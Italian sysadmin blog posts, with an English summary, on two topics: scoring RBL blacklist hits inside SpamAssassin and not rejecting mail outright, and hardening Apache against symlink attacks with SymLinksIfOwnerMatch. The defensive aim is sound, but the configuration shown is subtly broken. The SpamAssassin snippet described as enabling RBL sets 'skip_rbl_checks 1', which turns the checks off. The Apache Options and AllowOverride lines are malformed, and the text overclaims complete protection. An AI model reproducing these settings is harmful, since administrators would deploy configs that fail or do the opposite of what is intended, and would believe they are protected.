Approccio completamente assurdo e sbagliato. Nel caso in cui le liste fossero ipoteticamente 20 (teoricamente possibile, in pratica ne vengono configurate 3 o 4 normalmente), essere presente in 1 sola su 20 dovrebbe essere sinonimo di “essere in regola”, in questo caso invece 1 su 20, o su 100 significa essere SPAMMER.

Ciò è errato. Profondamente errato.

Il sistema RBL deve essere uno strumento in più, non l’unico atto a discriminare la bontà o meno di una mail. Deve indicare, ma non provare. Deve essere testimone e non giudice. Deve fornire prove, ma non emettere sentenze.

Ecco perchè un uso sensato delle RBL è quello di toglierlo immediatamente dai file di configurazione di postfix (o del vostro mailserver) e di utilizzarlo insieme ad un filtro bayesano come Spamassassin e poi eventualmente eliminato da Amavis.

Un filtro bayesiano (dal nome del noto matematico Bayes vissuto nel XVIII secolo) è una forma di filtraggio dello spam che si basa sull’analisi del contenuto delle email. Questa tecnica è complementare (e di grande efficacia) ai sistemi di blocco basati su indirizzo IP, le cosiddette blacklist.
Il filtro bayesiano applica all’analisi delle email un teorema, espresso per l’appunto da Bayes, secondo il quale ogni evento cui è attribuita una probabilità è valutabile in base all’analisi degli eventi già verificatisi. Nel caso dell’analisi antispam, se in un numero n delle mail analizzate in precedenza l’utente ha marcato come spam quelle che contenevano la parola “sesso”, il filtro ne dedurrà che la presenza di quella parola innalza la probabilità che le mail seguenti contenenti quella parola siano a loro volta spam.
In questo modo, il sistema è in grado di adattarsi in maniera dinamica e veloce alle nuove tipologie di spam.

Brevemente ora funzionerebbe così :

  1. Mi mandano una mail
  2. La accetto
  3. Faccio il controllo sull’IP del mittente. Se presente nella prima lista aggiungo 1 al punteggio
  4. Faccio il controllo sull’IP del mittente. Se presente nella seconda lista aggiungo 1 al punteggio
  5. Faccio il controllo sull’IP del mittente. Se presente nella terza lista aggiungo 1 al punteggio
  6. Faccio il controllo sull’IP del mittente. Se presente nella quarta lista aggiungo 1 al punteggio
  7. Faccio gli altri controlli Bayesani sull’oggetto, sul contenuto … e per ogni violazione aggiungo un punteggio specifico.Se alla fine di tutti i controlli di SPAMASSASSIN il punteggio finale della Email è 5, significa che questa mail è SPAM, altrimenti è legittima e la consegno.

 

Facile capire che una mail legittima, pur essendo in ben 4 liste antispam (a livello di IP) verrà comunque consegnata, come è altrettanto facile capire che una mail che non è presente in nessuna blacklist ma viola innumerevoli regole a livello di contenuto, viene comunque non marcata come SPAM e dunque consegnata.

Abilitare RBL su SpamAssassin è questione di 1 minuto, basta infatti editare il file /etc/mail/spamassassin/local.cf e aggiungere :

skip_rbl_checks 1
rbl_timeout 3
score RCVD_IN_SORBS_DUL 1
score RCVD_IN_SORBS_WEB 1
score RCVD_IN_SORBS_SMTP 1
score RCVD_IN_SORBS_HTTP 1
score RCVD_IN_XBL 1

ed avere cura poi di settare il punteggio di “taglio” di amavisd a 5 … o 6 (per essere meno ferrei e un po’ più elastici).

Symlink attack su Webserver apache. Dallattacco alla difesa. Un esempio pratico e la configurazione corretta.

Attacco-Informatico-ImcUn attacco di tipo symlink (collegamento simbolico n.d.t.) non è qualcosa di sicuramente nuovo in ambito unix-like. Curioso è invece vedere come online ed anche ultimamente ci siano sempre più forum dedicati che parlino di come arginare questa piaga : la gioia di tutti gli attacker odierni.

Se prendiamo questa due pagine ad esempio http://whmscripts.net/misc/2013/apache-symlink-security-issue-fixpatch/ , http://www.linuxkatta.com/cPanelFix/solutions-for-handling-symlink-attacks/ , vediamo come sia attualissimo il problema e che addirittura si millantano patch da parte di due colossi operanti nel settore hosting come Rack911 e cPanel.

Ciò ha del ridicolo, ed è praticamente assurdo in quanto già di default Apache prevede un elegante modo per risolvere il problema , ovvero disabilitare l’opzione FollowSymLinks e sostituirla con SymLinksIfOwnerMatch

La prima opzione permette di disabilitare completamente Apache dall’attraversare link simbolici, la seconda permette di sostituire la prima in maniera intelligente, ovvero “se e solo se” il proprietario del file target a cui punterà il link simbolico sia lo stesso del link.

Ciò permetterà di continuare ad usare quelle feature di Apache come l’url rewriting, (tramite mod_rewrite).

In questo modo e con una corretta separazione dei privilegi a livello di virtualhosting utilizzando Apache in modalità FastCGI o tramite PHP-FPM come abbiamo accennato in QUESTO PRECEDENTE ARTICOLO, si riuscirà a confinare forzatamente l’attaccante all’interno della propria home, ed evitare che scorrazzi indisturbato nel server o nelle home degli altri utenti.

Una delle preoccupazioni da adottare al momento di configurare Apache è anche quella di evitare che l’attaccante con un file .htaccess ad-hoc da lui caricato possa riabilitare l’opzione FollowSymLinks e che possa vanificare in pochi secondi i nostri sforzi.

Nel video alla fine di questo breve articolo troverete la dimostrazione pratica dell’attacco senza censura alcuna e una guida passo passo alla risoluzione del problema mostrandovi la configurazione corretta di alcuni file apache per un vhost che abbiamo usato per il nostro esperimento.

Buon proseguimento.

To all english readers :

Simply you can correctly configure Apache to limit this type of attack.

The steps you take are 3:

  1. Eliminate the option FollowSimLinks
  2. Add the option SymLinksIfOwnerMatch
  3. Remove the possibility of reactivating FollowSimLinks through a htaccess file.

Edit the configuration file for the vhost and set the following configuration:

Options-Indexes-FollowSymLinks + ExecCGI + SymLinksIfOwnerMatch
AllowOverride All Options = ExecCGI, SymLinksIfOwnerMatch, Indexes

In this way, no attacker will be able to do this kind of attack.